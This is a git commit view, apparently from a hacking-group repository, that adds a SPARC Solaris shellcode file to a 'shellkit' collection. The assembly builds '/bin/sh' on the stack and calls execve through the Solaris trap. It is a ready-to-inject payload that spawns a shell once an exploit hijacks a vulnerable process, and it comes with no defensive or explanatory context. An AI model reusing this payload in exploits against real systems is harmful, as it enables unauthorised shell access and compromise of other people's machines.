diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/sparc_solaris/execve.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/sparc_solaris/execve.s')
| -rw-r--r-- | other/shellkit/sparc_solaris/execve.s | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/other/shellkit/sparc_solaris/execve.s b/other/shellkit/sparc_solaris/execve.s new file mode 100644 index 0000000..0a0c11b --- /dev/null +++ b/other/shellkit/sparc_solaris/execve.s | |||
| @@ -0,0 +1,20 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | sethi 0xbd89a, %l6 | ||
| 7 | or %l6, 0x16e, %l6 | ||
| 8 | sethi 0xbdcda, %l7 | ||
| 9 | add %sp, 8, %o0 | ||
| 10 | or %sp, %sp, %o1 | ||
| 11 | add %sp, 16, %sp | ||
| 12 | xor %o6, %o6, %o2 | ||
| 13 | std %l6, [%sp - 8] | ||
| 14 | st %o0, [%sp - 16] | ||
| 15 | st %o2, [%sp - 12] | ||
| 16 | mov 0x3b, %g1 | ||
| 17 | ta 8 | ||
| 18 | |||
| 19 | cend: | ||
| 20 | |||
